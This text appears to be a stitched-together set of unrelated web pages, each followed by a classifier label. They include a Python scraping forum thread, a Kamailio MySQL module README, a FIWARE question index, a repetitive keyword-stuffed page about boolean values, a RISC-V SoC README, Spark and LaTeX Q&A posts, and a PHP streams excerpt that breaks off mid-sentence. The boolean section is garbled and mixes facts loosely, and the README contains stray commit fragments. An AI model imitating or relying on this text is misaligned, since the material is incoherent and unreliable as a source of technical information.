Twitter:@james8001 tumblr hit counter vistors, thanks for your support Search Archives « September 2015 SunMonTueWedThuFriSat    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30             Today
__label__pos
0.524534
Python Forum Full Version: Web scrap multiple pages You're currently viewing a stripped down version of our content. View the full version with proper formatting. Hi All, Hope you are doing good. Am very new to python and am in a process of learning it. Can someone please help me with the code for web scrapping multiple pages in the below website https://abom.learningbuilder.com/public/...astName&_d= I have the below code which fetch only one page. How can i get data from all the pages on website? Please let me know. import urllib import urllib.request from bs4 import BeautifulSoup def make_soup(url): thepage=urllib.request.urlopen(url) soupdata=BeautifulSoup(thepage,"html.parser") return soupdata mydata_saved="" soup=make_soup("https://abom.learningbuilder.com/public/membersearch?model.FirstName=&model.LastName=&model.UniqueId=&model.City=&model.State=&performSearch=true&_p=1&_s=20&_o=LastName&_d=") for record in soup.findAll('tr'): mydata="" for data in soup.findAll('td'): mydata=mydata+","+data.text mydata_saved=mydata_saved+"\n"+mydata[1:] print(mydata_saved) Thank you. Br, Anil First you need to find out how many pages there is and then you can jump through individual pages using the _p url query parameter number_of_pages = 200 # just and example number url = "https://abom.learningbuilder.com/public/membersearch?model.FirstName=&model.LastName=&model.UniqueId=&model.City=&model.State=&performSearch=true&_p={page_number}&_s=20&_o=LastName&_d=" for page_number in range(number_of_pages): soup = make_soup(url.format(page_number=page_number)) for record in soup.findAll('tr'): mydata = "" for data in soup.findAll('td'): mydata = mydata + "," + data.text mydata_saved = mydata_saved + "\n" + mydata[1:] print(mydata_saved) Awesome! That works. But i ran into issue again. When i see my scrapped data for all 199 pages, i get only 600 records out of 4000 records in the website. Can you please advise the issue why my output does not include all the records. Am using online Jupyter notebook to run this. I also installed Anaconda and used Jupyter there, still i face the same issue. Can you please help me on this? Thank you. Br, Anil Am having this error when i ran the code. Can you please advise how do i increase data rate IOPub data rate exceeded. The notebook server will temporarily stop sending output to the client in order to avoid crashing it. To change this limit, set the config variable --NotebookApp.iopub_data_rate_limit. Honestly don't know, as I personally do not use jupyter but maybe you can try this answer ->https://stackoverflow.com/a/49305034/11274530
__label__pos
0.522034
modules/db_mysql/README b55c09b4 mysql Module Daniel-Constantin Mierla <[email protected]> Edited by Daniel-Constantin Mierla <[email protected]> f5ccfeaa Copyright � 2006 Voice Sistem SRL b55c09b4 __________________________________________________________________ Table of Contents 1. Admin Guide 1. Overview 2. Dependencies 2.1. Kamailio Modules 2.2. External Libraries or Applications ba7961bb 3. Parameters b55c09b4 3.1. ping_interval (integer) 3.2. timeout_interval (integer) 3.3. auto_reconnect (integer) 61c706ef 3.4. insert_delayed (integer) b55c09b4 ba7961bb 4. Functions b55c09b4 5. Installation 6. Reading configuration from my.cnf List of Examples 1.1. Set ping_interval parameter 1.2. Set timeout_interval parameter 1.3. Set auto_reconnect parameter 61c706ef 1.4. Set insert_delayed parameter 1.5. Set a my.cnf group in db_url parameter 1.6. Adding a kamailio group to my.cnf 1.7. Using [client] and specific group b55c09b4 Chapter 1. Admin Guide Table of Contents 1. Overview 2. Dependencies 2.1. Kamailio Modules 2.2. External Libraries or Applications ba7961bb 3. Parameters b55c09b4 3.1. ping_interval (integer) 3.2. timeout_interval (integer) 3.3. auto_reconnect (integer) 61c706ef 3.4. insert_delayed (integer) b55c09b4 ba7961bb 4. Functions b55c09b4 5. Installation 6. Reading configuration from my.cnf 1. Overview This is a module which provides MySQL connectivity for Kamailio. It implements the DB API defined in Kamailio. 2. Dependencies 2.1. Kamailio Modules 2.2. External Libraries or Applications 2.1. Kamailio Modules The following modules must be loaded before this module: * No dependencies on other Kamailio modules. 2.2. External Libraries or Applications The following libraries or applications must be installed before running Kamailio with this module loaded: * mysql - the development libraries forthe Mysql database. In some Linux distributions named "libmysqlclient-dev". ba7961bb 3. Parameters b55c09b4 3.1. ping_interval (integer) 3.2. timeout_interval (integer) 3.3. auto_reconnect (integer) 61c706ef 3.4. insert_delayed (integer) b55c09b4 3.1. ping_interval (integer) Time interval in seconds to send ping messages to MySQL server in order to keep the connection open. Default value is 300 (5 min). Example 1.1. Set ping_interval parameter ... modparam("db_mysql", "ping_interval", 600) ... 3.2. timeout_interval (integer) Time interval (in seconds) after that an connection attempt, read or write request is aborted. The value counts three times, as several retries are done from the driver before it gives up. The read timeout parameter is ignored on MySQL driver versions prior to f5ccfeaa "5.1.12", "5.0.25" and "4.1.22". The write timeout parameter is ignored on versions prior to "5.1.12" and "5.0.25", the "4.1" release don't b55c09b4 support it at all. Default value is 2 (6 sec). Example 1.2. Set timeout_interval parameter ... modparam("db_mysql", "timeout_interval", 2) ... 3.3. auto_reconnect (integer) Configure whether the module should automatically reconnect to MySQL server if the connection was lost. Default value is 1 (1 - on / 0 - off). Example 1.3. Set auto_reconnect parameter ... modparam("db_mysql", "auto_reconnect", 0) ... 61c706ef 3.4. insert_delayed (integer) If set to 1, all INSERT SQL queries will be sent to MySQL server as INSERT DELAYED. Default value is 0 (1 - on / 0 - off). Example 1.4. Set insert_delayed parameter ... modparam("db_mysql", "insert_delayed", 1) ... ba7961bb 4. Functions b55c09b4 No function exported to be used from configuration file. 5. Installation Because it dependes on an external library, the mysql module is not compiled and installed by default. You can use one of these options. * - edit the "Makefile" and remove "db_mysql" from "excluded_modules" list. Then follow the standard procedure to install Kamailio: "make all; make install". * - from command line use: 'make all include_modules="db_mysql"; make install include_modules="db_mysql"'. 6. Reading configuration from my.cnf In order to take into account specific mysql client options, a my.cnf config group can be passed using the db_url module parameter. This is done by setting [group] in front of or instead of the host part. The following examples are valid db_url definitions, which include a my.cnf group: * mysql://user:pass@[group]host:port/db * mysql://user:pass@[group]:port/db * mysql://user:pass@[group]/db * mysql://[group]/db 61c706ef Example 1.5. Set a my.cnf group in db_url parameter b55c09b4 ... modparam("usrloc", "db_url", "mysql://[kamailio]/kamailio) ... 61c706ef Example 1.6. Adding a kamailio group to my.cnf b55c09b4 ... [kamailio] socket = /path/to/mysql.sock user = kamailiouser password = kamailiopass default-character-set = utf8 ... In addition to the given group, also the [client] section is read, in the order given in my.cnf. So if you for example specify a socket in both your specific group and the client group, then the value is taken from the last one. 61c706ef Example 1.7. Using [client] and specific group b55c09b4 ... [client] socket = /var/run/mysql/mysqld.sock [kamailio] socket = /path/to/mysqld.sock user = kamailiouser password = kamailiopass default-character-set = utf8 ... In the example given above, the socket /path/to/mysqld.sock is used by Kamailio because both [kamailio] and [client] define this option, and the latter overwrites the first.
__label__pos
0.67975
We use proprietary and third party´s cookies to improve your experience and our services, identifying your Internet Browsing preferences on our website; develop analytic activities and display advertising based on your preferences. If you keep browsing, you accept its use. You can get more information on our Cookie Policy Cookies Policy Ask Your Question RSS Sort by » by date by activity ▲ by answers by votes 174 questions 1k views 1 answer no votes 2015-06-23 04:33:44 +0200 fernando.lopez Can I upgrade to a community user? 3k views 2 answers 1 vote 2015-06-23 04:45:26 +0200 Fermín Galán what is a FIWARE GE? and a GEi? 2k views 1 answer 1 vote 2015-06-23 04:50:14 +0200 Fermín Galán FIWARE is big. is there any tutorial? 3k views 1 answer no votes 2015-06-23 04:54:40 +0200 fernando.lopez Hackathons and developers week 1k views 1 answer no votes 2015-06-23 05:10:37 +0200 Miguel Carrillo What accelerator should I apply to? 4k views 2 answers no votes 2015-06-23 05:14:23 +0200 gtorodelvalle Is FIWARE only intended to Smart Cities? 1k views 2 answers no votes 2015-06-23 05:52:04 +0200 Miguel Carrillo what is the FIWARE Acceleration programme? 17k views 1 answer 1 vote 2015-06-24 03:32:00 +0200 Fermín Galán Stackoverflow or ask.fiware.org? 3k views 2 answers 1 vote 2015-06-24 05:39:15 +0200 Miguel Carrillo I have found a bug on a GE ... What can I do? 9k views 2 answers 1 vote 2015-06-24 08:01:28 +0200 Miguel Carrillo can I deploy a GE outside the FIWARE Lab? 16k views 1 answer no votes 2015-07-03 05:18:34 +0200 Miguel Carrillo Is FIWARE a European Project? 2k views 1 answer no votes 2015-07-29 02:01:32 +0200 Miguel Carrillo How can I get in touch with the FIWARE Team? 1k views 1 answer no votes 2015-07-30 08:05:27 +0200 Miguel Carrillo What's the meaning of the colours in the Catalogue entries? 3k views 1 answer no votes 2015-07-31 02:57:52 +0200 jmcantera is there any document that summarizes FIWARE OSS Licenses? 1k views 1 answer no votes 2015-07-31 05:57:25 +0200 Sergio Garcia Gomez how many cities are currently using FIWARE? 5k views 2 answers no votes 2015-07-31 06:03:12 +0200 Sergio Garcia Gomez is there any commercial node of the FIWARE Lab? 4k views 3 answers no votes 2015-07-31 08:31:42 +0200 JHNeveo Is FIWARE an open source community? 1k views 1 answer no votes 2015-08-07 05:05:40 +0200 aalonsog KeyRock Issue 5k views 2 answers no votes 2015-08-17 11:42:21 +0200 jsalvachua How to Authenticate the user with KeyRock? 7k views 1 answer 1 vote 2015-08-20 12:39:21 +0200 frb Cosmos database privacy 72 views no answers no votes 2015-08-31 10:17:06 +0200 alejandrovk Best way to start Orion on the backgroun [closed] 13k views 1 answer 1 vote 2015-09-10 10:24:01 +0200 ogilvy Best way to send Orion to background? 5k views 1 answer no votes 2015-09-14 05:00:06 +0200 jmcantera Cosmos : Error accessing Hive 3k views 2 answers no votes 2015-09-15 03:42:14 +0200 nichel CentOS6 problem on boot Contributors jmcantera gravatar imagealejandrovk gravatar imagefrb gravatar imagejsalvachua gravatar imageernoekovacs gravatar imageaalonsog gravatar imageSam gravatar imagealbertinisg gravatar imageJHNeveo gravatar imageSergio Garcia Gomez gravatar imageStefano gravatar imageMilos.Vranic gravatar imagestpe gravatar imageManelJ gravatar imagegtorodelvalle gravatar imageMiguel Carrillo gravatar image
__label__pos
0.763767
Set value of hidden boolean field toTrue, but does not. System.Boolean Member List: Public Fields. FalseString: Represents the Boolean value false as a string. This field is read-only. TrueString: Represents the Boolean value true as a string. This field is read-only. Public Methods. CompareTo: Compares this instance to a specified object and returns an indication of their relative values. Equals: Overridden: Returns a value indicating whether. How to convert a value into Boolean in JavaScript? What is a Boolean attribute? A Boolean attribute is an attribute that can only be true or false. How does a Boolean attribute work? According to the HTML specification: The presence of a boolean attribute on an element represents the “true” value, and the absence of the attribute represents the “false” value. Yet note.The presence of a boolean attribute on an element represents the true value, and the absence of the attribute represents the false value. If the attribute is present, its value must either be the empty string or a value that is an ASCII case-insensitive match for the attribute's canonical name, with no leading or trailing whitespace.The Boolean class wraps a value of the primitive type boolean in an object. An object of type Boolean contains a single field whose type is boolean. In addition, this class provides many methods for converting a boolean to a String and a String to a boolean, as well as other constants and methods useful when dealing with a boolean. Calculate a hash code value for the object. The default hashing algorithm is platform dependent. Note that it is allowed for two objects to have identical hash codes (o1.hashCode.equals(o2.hashCode)) yet not be equal (o1.equals(o2) returns false).A degenerate implementation could always return 0.However, it is required that if two objects are equal (o1.equals(o2) returns true) that they have.The Boolean value of undefined is false. The value of Not only undefined but also null, false, NaN, empty string is also false. Example. In the following example, boolean values of undefined, false, NaN and empty string were displayed. If we look at the first 3 lines of code a hole is created in the array. Value boolean html In JavaScript you create a boolean instance using the constructor Boolean. Description. Declares a boolean wrapper for holding boolean values. The Boolean constructor is a wrapper for a boolean value and should not be confused with the true and false values of the boolean primitive. There are a some things to remember when creating Boolean objects and how the parameter passed to the Boolean. Value boolean html HTML5 defines restrictions on the allowed values of boolean attributes: If the attribute is present, its value must either be the empty string (equivalently, the attribute may have an unassigned value), or a value that is an ASCII case-insensitive match for the attribute’s canonical name, with no leading or trailing whitespace. The following examples are valid ways to mark up a boolean. Value boolean html Sometimes, excel formulas return the Boolean values (TRUE or FALSE) in Excel. And you can edit the original formula to convert the Boolean values (TRUE or FALSE) to number (1 or 0) or text in Excel easily. Convert Boolean values (TRUE or FALSE) to number (1 or 0) in Excel; Convert Boolean values (TRUE or FALSE) to text in Excel. Value boolean html There are three ways to convert a value into boolean.In those 3 methods, 2 methods include the Boolean keyword in them whereas the other method is a new method in which a symbol !! is used. Let's discuss them in detail. Using Boolean keywod Example. In the following example, the methods which use the Boolean keyword in them were implemented and the result is displayed as shown in the output. Value boolean html The booleanValue() method of Boolean Class is a built in method in java which is used to return the primitive boolean value of instance which is used to call the method booleanValue(). Syntax. BooleanObject.booleanValue() Return Value: It returns a primitive boolean value. Below are the examples to illustrate booleanValue() method. AtomicBoolean (Java Platform SE 8 ). Value boolean html A boolean value can be toggled in JavaScript by using two approaches which are discussed below: Method 1: Using the logical NOT operator: The logical NOT operator in Boolean algebra is used to negate an expression or value. Using this operator on a true value would return false and using it on a false value would return true. This property can. Value boolean html The valueOf() method returns the primitive value of a boolean. Note: This method is usually called automatically by JavaScript behind the scenes, and not explicitly in code. Browser Support. Value boolean html C Boolean. In C, Boolean is a data type that contains two types of values, i.e., 0 and 1. Basically, the bool type value represents two types of behavior, either true or false. Here, '0' represents false value, while '1' represents true value. In C Boolean, '0' is stored as 0, and another integer is stored as 1. Value boolean html CJ J.: It's worth noting that new Boolean isn't a boolean but rather an instance of Boolean. Primitives are cheaper and should be preferred over the object type. CJ J.: new Boolean(str) returns an object type.Boolean(str) just returns a primitive boolean. I would suspect Boolean(str) is faster then !!str because it's only one operation, but it's also entirely possible that browsers implement. Value boolean html Save Your Code. If you click the save button, your code will be saved, and you get an URL you can share with others. HTML attribute reference - HTML: Hypertext Markup Language. Value boolean html Boolean-- the class of Boolean values The type Boolean is a member of the class Type. Each object of class Boolean is called a boolean value. Predicate functions return these as values, and the logical connectives expect to receive them as arguments. Special operators dealing with truth values. not-- negation and-- conjunction. Value boolean html The VALUE attribute, required for radio buttons and checkboxes, unsurprisingly gives the value (chosen by the author) of the control when it is checked. The boolean CHECKED attribute specifies. Value boolean html String value of Boolean object boolean1 is true String value of Boolean object boolean2 is false String value of Boolean object boolean3 is false. Description: Above program has been divided into 3 steps that we will discuss one by one. In Step 1, Boolean class objects are created; In Step 2, Values are assigned to objects created in Step 1. Value boolean html Parameters: b - This is a Boolean argument to be passed. s - This is the string argument to be passed. Return Value: The valueOf() method returns a Boolean instance corresponding to 'b' or to String 's'. It returns true, if the defined Boolean value (b) or String value(s) is true.
__label__pos
0.953217
Riscduino Quad Risc Core SOC Permission to use, copy, modify, and/or distribute this soc for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOC IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOC INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOC. Table of contents Overview Riscduino is a Quad 32 bit RISC V based SOC design pin compatible to arudino platform and this soc targetted for efabless Shuttle program. This project uses only open source tool set for simulation,synthesis and backend tools. The SOC flow follow the openlane methodology and SOC environment is compatible with efabless/carvel methodology. Riscduino Block Diagram Key features * Open sourced under Apache-2.0 License (see LICENSE file) - unrestricted commercial use allowed. * Quad Core 32 Bit RISC-V core * 2KB SRAM for instruction cache * 2KB SRAM for data cache * 2KB SRAM for Tightly coupled memory - For Data Memory * Quad SPI Master * UART with 16Byte FIFO * USB 1.1 Host * I2C Master * UART Master * Simple SPI Master * 6 Channel ADC (in Progress) * 6 PWM * Pin Compatbible to arudino uno * Wishbone compatible design * Written in System Verilog * Open-source tool set * simulation - iverilog * synthesis - yosys * backend/sta - openlane tool set * Verification suite provided. SOC Pin Mapping Carvel SOC provides 38 GPIO pins for user functionality. Riscduino SOC GPIO Pin Mapping as follows vs ATMEGA328 and Arudino RISC V Core Riscduino SOC Integrated Quad 32 Bits RISC V core. Initial version of Single core RISC-V core is picked from Syntacore SCR1 (https://github.com/syntacore/scr1) RISC V core customization for Riscduino SOC Following Design changes are done on the basic version of syntacore RISC core * Some of the sv syntex are changed to standard verilog format to make compatibile with opensource tool iverilog & yosys * local Instruction Memory is increased from 4 to 8 location * Instruction Request are changed from Single word to 4 Word Burst * Multiplication and Divsion are changed to improve timing * Additional pipe line stages added to improve the RISC timing closure near to 50Mhz * 2KB instruction cache * 2KB data cache * Additional router are added towards instruction cache * Additional router are added towards data cache * Quad core related changes * Modified AXI/AHB interface to wishbone interface for instruction and data memory interface Block Diagram RISC V Core Key feature * RV32I or RV32E ISA base + optional RVM and RVC standard extensions * Machine privilege mode only * 2 to 5 stage pipeline * 2KB icache * 2KB dcache * Optional Integrated Programmable Interrupt Controller with 16 IRQ lines * Optional RISC-V Debug subsystem with JTAG interface * Optional on-chip Tightly-Coupled Memory 6 Channel SAR ADC In Process - Looking for community help ... SOC Memory Map SOC Size BlockTotal CellSeqCombo RISC20982316417818 PINMUX569310224671 SPI712012815839 UART_I2C_USB_SPI1119624488748 WB_HOST27965882208 WB_INTC18781081770 SAR_ADC11818100 MBIST31255432582 TOTAL52908917243736 SOC Register Map Register Map: Wishbone HOST OffsetNameDescription 0x00GLBL_CTRL[RW] Global Wishbone Access Control Register 0x04BANK_CTRL[RW] Bank Selection, MSB 8 bit Address 0x08CLK_SKEW_CTRL1[RW] Clock Skew Control2 0x0cCLK_SKEW_CTRL2[RW] Clock Skew Control2 Register: GLBL_CTRL BitsNameDescription 31:24ReseveredUnsused 23:20RTC_CLK_CTRLRTC Clock Div Selection 19:16CPU_CLK_CTRLCPU Clock Div Selection 15:12SDARM_CLK_CTRLSDRAM Clock Div Selection 10:8WB_CLK_CTRLCore Wishbone Clock Div Selection 7UART_I2C_SEL0 - UART , 1 - I2C Master IO Selection 5I2C_RSTI2C Reset Control 4UART_RSTUART Reset Control 3SDRAM_RSTSDRAM Reset Control 2SPI_RSTSPI Reset Control 1CPU_RSTCPU Reset Control 0WB_RSTWishbone Core Reset Control Register: BANK_CTRL BitsNameDescription 31:24ReseveredUnsused 7:0BANK_SELHolds the upper 8 bit address core Wishbone Address Register: CLK_SKEW_CTRL1 BitsNameDescription 31:28ReseveredUnsused 27:24CLK_SKEW_WBWishBone Core Clk Skew Control 23:20CLK_SKEW_GLBLGlbal Register Clk Skew Control 19:16CLK_SKEW_SDRAMSDRAM Clk Skew Control 15:12CLK_SKEW_SPISPI Clk Skew Control 11:8CLK_SKEW_UARTUART/I2C Clk Skew Control 7:4CLK_SKEW_RISCRISC Clk Skew Control 3:0CLK_SKEW_WIWishbone Clk Skew Control Register Map: SPI MASTER OffsetNameDescription 0x00GLBL_CTRL[RW] Global SPI Access Control Register 0x04DMEM_CTRL1[RW] Direct SPI Memory Access Control Register1 0x08DMEM_CTRL2[RW] Direct SPI Memory Access Control Register2 0x0cIMEM_CTRL1[RW] Indirect SPI Memory Access Control Register1 0x10IMEM_CTRL2[RW] Indirect SPI Memory Access Control Register2 0x14IMEM_ADDR[RW] Indirect SPI Memory Address 0x18IMEM_WDATA[W] Indirect SPI Memory Write Data 0x1cIMEM_RDATA[R] Indirect SPI Memory Read Data 0x20SPI_STATUS[R] SPI Debug Status Register: GLBL_CTRL BitsNameDescription 31:16ReseveredUnsused 15:8SPI_CLK_DIVSPI Clock Div Rato Selection 7:4ReservedUnused 3:2CS_LATECS DE_ASSERTION CONTROL 1:0CS_EARLYCS ASSERTION CONTROL Register: DMEM_CTRL1 BitsNameDescription 31:9ReseveredUnsused 8FSM_RSTDirect Mem State Machine Reset 7:6SPI_SWITCHPhase at which SPI Mode need to switch 5:4SPI_MODESPI Mode, 0 - Single, 1 - Dual, 2 - Quad, 3 - QDDR 3:0CS_SELECTCHIP SELECT Register: DMEM_CTRL2 BitsNameDescription 31:24DATA_CNTTotal Data Byte Count 23:22DUMMY_CNTTotal Dummy Byte Count 21:20ADDR_CNTTotal Address Byte Count 19:16SPI_SEQSPI Access Sequence 15:8MODE_REGMode Register Value 7:0CMD_REGCommand Register Value Register: IMEM_CTRL1 BitsNameDescription 31:9ReseveredUnsused 8FSM_RSTInDirect Mem State Machine Reset 7:6SPI_SWITCHPhase at which SPI Mode need to switch 5:4SPI_MODESPI Mode, 0 - Single, 1 - Dual, 2 - Quad, 3 - QDDR 3:0CS_SELECTCHIP SELECT Register: IMEM_CTRL2 BitsNameDescription 31:24DATA_CNTTotal Data Byte Count 23:22DUMMY_CNTTotal Dummy Byte Count 21:20ADDR_CNTTotal Address Byte Count 19:16SPI_SEQSPI Access Sequence 15:8MODE_REGMode Register Value 7:0CMD_REGCommand Register Value Register: IMEM_ADDR BitsNameDescription 31:0ADDRIndirect Memory Address Register: IMEM_WDATA BitsNameDescription 31:0WDATAIndirect Memory Write Data Register: IMEM_RDATA BitsNameDescription 31:0RDATAIndirect Memory Read Data Register: SPI_STATUS BitsNameDescription 31:0DEBUGSPI Debug Status Register Map: Global Register OffsetNameDescription 0x00SOFT_REG0[RW] Software Register0 0x04RISC_FUSE[RW] Risc Fuse Value 0x08SOFT_REG2[RW] Software Register2 0x0cINTR_CTRL[RW] Interrupt Control 0x10SDRAM_CTRL1[RW] Indirect SPI Memory Access Control Register2 0x14SDRAM_CTRL2[RW] Indirect SPI Memory Address 0x18SOFT_REG6[RW] Software Register6 0x1CSOFT_REG7[RW] Software Register7 0x20SOFT_REG8[RW] Software Register8 0x24SOFT_REG9[RW] Software Register9 0x28SOFT_REG10[RW] Software Register10 0x2CSOFT_REG11[RW] Software Register11 0x30SOFT_REG12[RW] Software Register12 0x34SOFT_REG13[RW] Software Register13 0x38SOFT_REG14[RW] Software Register14 0x3CSOFT_REG15[RW] Software Register15 Register: RISC_FUSE BitsNameDescription 31:0RISC_FUSERISC Core Fuse Value Register: INTR_CTRL BitsNameDescription 31:20ReservedUnused 19:17USER_IRQUser Interrupt generation toward riscv 16SOFT_IRQSoftware Interrupt generation toward riscv 15:0EXT_IRQExternal Interrupt generation toward riscv Repository contents |verilog | ├─ rtl | | |- syntacore | | | |─ scr1 | | | | ├─ **docs** | **SCR1 documentation** | | | | | ├─ scr1_eas.pdf               | SCR1 External Architecture Specification | | | | | └─ scr1_um.pdf                 | SCR1 User Manual | | | | |─ **src** | **SCR1 RTL source and testbench files** | | | | | ├─ includes | Header files | | | | | ├─ core | Core top source files | | | | | ├─ top | Cluster source files | | | | |─ **synth** | **SCR1 RTL Synthesis files ** | | |- Qspi_master | | | |- src | Qard SPI Master Source files | | |-wb_interconnect | | | |- src | 3x4 Wishbone Interconnect | | |- digital_core | | | |- src | Digital core Source files | | |- lib | common library source files | |- dv | | |- la_test1 | carevel LA test | | |- risc_boot | user core risc boot test | | |- wb_port | user wishbone test | | |- user_risc_boot | user standalone test without carevel soc | |- gl | ** GLS Source files ** | |- openlane |- spi_master | spi_master openlane scripts |- syntacore | Risc Core openlane scripts |- user_project_wrapper | carvel user project wrapper Prerequisites • Docker (ensure docker daemon is running) -- tested with version 19.03.12, but any recent version should suffice. Step-1: Docker in ubuntu 20.04 version sudo apt update sudo apt-get install apt-transport-https curl rtificates -agent software-properties-common curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable" sudo apt update apt-cache policy docker-ce sudo apt install docker-ce #Add User Name to docker sudo usermod -aG docker <your user name> # Reboot the system to enable the docker setup Step-2: Update the Submodule, To to project area git submodule init git submodule update Step-3: clone Openlane scripts under workarea git clone https://github.com/The-OpenROAD-Project/OpenLane.git Step-4: add Environment setting export CARAVEL_ROOT=<Carvel Installed Path> export OPENLANE_ROOT=<OpenLane Installed Path> export OPENLANE_IMAGE_NAME=efabless/openlane:latest export PDK_ROOT=<PDK Installed PATH> export PDK_PATH=<PDK Install Path>/sky130A Step-5: To install the PDK source ~/.bashrc cd OpenLane make pdk Tests preparation The simulation package includes the following tests: • risc_boot - Simple User Risc core boot • wb_port - User Wishbone validation • user_risc_boot - Standalone User Risc core boot • user_mbist_test1 - Standalone MBIST test • user_spi - Standalone SPI test • user_i2c - Standalone I2C test • user_risc_soft_boot - Standalone Risc with SRAM as Boot Running Simulation Examples: make verify-wb_port make verify-risc_boot make verify-user_uart make verify-user_spi make verify-user_i2cm make verify-user_risc_boot make verify-wb_port SIM=RTL DUMP=OFF make verify-wb_port SIM=RTL DUMP=ON make verify-riscv_regress Tool Sets Riscduino Soc flow uses Openlane tool sets. 1. Synthesis 1. yosys - Performs RTL synthesis 2. abc - Performs technology mapping 3. OpenSTA - Pefroms static timing analysis on the resulting netlist to generate timing reports 2. Floorplan and PDN 1. init_fp - Defines the core area for the macro as well as the rows (used for placement) and the tracks (used for routing) 2. ioplacer - Places the macro input and output ports 3. pdn - Generates the power distribution network 4. tapcell - Inserts welltap and decap cells in the floorplan 3. Placement 1. RePLace - Performs global placement 2. Resizer - Performs optional optimizations on the design 3. OpenPhySyn - Performs timing optimizations on the design 4. OpenDP - Perfroms detailed placement to legalize the globally placed components 4. CTS 1. TritonCTS - Synthesizes the clock distribution network (the clock tree) 5. Routing 1. FastRoute - Performs global routing to generate a guide file for the detailed router 2. CU-GR - Another option for performing global routing. 3. TritonRoute - Performs detailed routing 4. SPEF-Extractor - Performs SPEF extraction 6. GDSII Generation 1. Magic - Streams out the final GDSII layout file from the routed def 2. Klayout - Streams out the final GDSII layout file from the routed def as a back-up 7. Checks 1. Magic - Performs DRC Checks & Antenna Checks 2. Klayout - Performs DRC Checks 3. Netgen - Performs LVS Checks 4. CVC - Performs Circuit Validity Checks News MPW Shuttle Contacts Report an issue: https://github.com/dineshannayya/riscduino/issues Documentation
__label__pos
0.547133
0 I am using the below code to run in Qubole Notebook and the code is running successfully. case class cls_Sch(Id:String, Name:String) class myClass { implicit val sparkSession = org.apache.spark.sql.SparkSession.builder().enableHiveSupport().getOrCreate() sparkSession.sql("set spark.sql.crossJoin.enabled = true") sparkSession.sql("set spark.sql.caseSensitive=false") import sparkSession.sqlContext.implicits._ import org.apache.hadoop.fs.{FileSystem, Path, LocatedFileStatus, RemoteIterator, FileUtil} import org.apache.hadoop.conf.Configuration import org.apache.spark.sql.DataFrame def my_Methd() { var my_df = Seq(("1","Sarath"),("2","Amal")).toDF("Id","Name") my_df.as[cls_Sch].take(my_df.count.toInt).foreach(t => { println(s"${t.Name}") }) } } val obj_myClass = new myClass() obj_myClass.my_Methd() enter image description here However when I run in the same code in Qubole's Analyze, I am getting the below error. enter image description here When I take out the below code, its running fine in Qubole's Anlayze. my_df.as[cls_Sch].take(my_df.count.toInt).foreach(t => { println(s"${t.Name}") }) I believe somewhere I have to change the usage of case class. I am using Spark 2.3. Can someone please let me know how to solve this issue. Please let me know if you need any other details. | | • try to put: import sparkSession.implicits._ – EmiCareOfCell44 Jul 10 '19 at 14:49 • You mean to say "sparkSession.implicits._" instead of "sparkSession.sqlContext.implicits._"? @EmiCareOfCell44 – Sarath Avanavu Jul 10 '19 at 14:51 • Yes, the error says that the product encoders(case classes) are available in that package – EmiCareOfCell44 Jul 10 '19 at 14:54 • I tried that way also. Its throwing the same error @EmiCareOfCell44 – Sarath Avanavu Jul 10 '19 at 14:55 0 For any reason the kernel find problems when working with dataset. I made two tests that worked with Apache Toree: enter image description here | | • Thanks Emi. I will check this and let you know tomorrow – Sarath Avanavu Jul 10 '19 at 16:38 0 All you have to do is have the import spark.implicits._ inside the my_Methd() function. def my_Methd() { import spark.implicits._ var my_df = Seq(("1","Sarath"),("2","Amal")).toDF("Id","Name") my_df.as[cls_Sch].take(my_df.count.toInt).foreach(t => { println(s"${t.Name}") }) } | | Your Answer By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy Not the answer you're looking for? Browse other questions tagged or ask your own question.
__label__pos
0.644834
[Tex/LaTex] How to indent text within a tabular environment indentationrtables I'm trying to create a table in r markdown where the age groups such as 0-20 and 21-55 are indented: \documentclass{article} \begin{document} \begin{tabular}{lccc} \toprule Factors & 2 & 2 & P-Value\\ \midrule Age\\ 0-20 & 2 & 2 & 2\\ 21-55 & 2 & 2 & 2\\ \bottomrule \end{tabular} \end{document} I've tried using spaces, \indent, \hspace, \rowgroup (didn't compile in r markdown). Any help is greatly appreciated. Best Answer You could insert an \hspace{<some length>} directive at the start of cells. In the example below, I've set the length to 3mm; you're obviously free to choose a different length. enter image description here \documentclass{article} \usepackage{booktabs} \begin{document} \noindent \begin{tabular}{@{}lccc@{}} \toprule Factors & 2 & 2 & P-Value\\ \midrule Age\\ \hspace{3mm}0--20 & 2 & 2 & 2\\ \hspace{3mm}21--55 & 2 & 2 & 2\\ \bottomrule \end{tabular} \end{document}
__label__pos
0.999791
Opening Streams Despite being a heavily unified API, there are actually four distinct paths to opening a stream depending on the type of stream required. Looking at it from a userspace perspective, the four categories are differentiated roughly as follows (function lists are representative samples, not comprehensive listings): No matter which type of stream you'll be opening, they are all stored in a single common structure: php_stream. Fopen Wrappers Let's start by simply re-implementing the fopen() function and proceed from there. By now you should be accustomed to creating an extension skeleton; if not, refer back to Chapter 5, "Your First Extension," for the basic structure: PHP_FUNCTION(sample5_fopen) { php_stream *stream; char *path, *mode; int path_len, mode_len; int options = ENFORCE_SAFE_MODE | REPORT_ERRORS; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &path, &path_len, &mode, &mode_len) == FAILURE) { return; } stream = php_stream_open_wrapper(path, mode, options, NULL); if (!stream) { RETURN_FALSE; } php_stream_to_zval(stream, return_value); } The purpose of php_stream_open_wrapper() should be pretty clear right off the bat. path specifies a filename or URL to be opened for reading, writing, or both depending on the value of mode. options is a set of zero or more flag bits, in this case set to a fixed pair of values described here: USE_PATH Relative paths will be applied to the locations specified in the .ini option include_path. This option is specified by the built-in fopen() function when the third 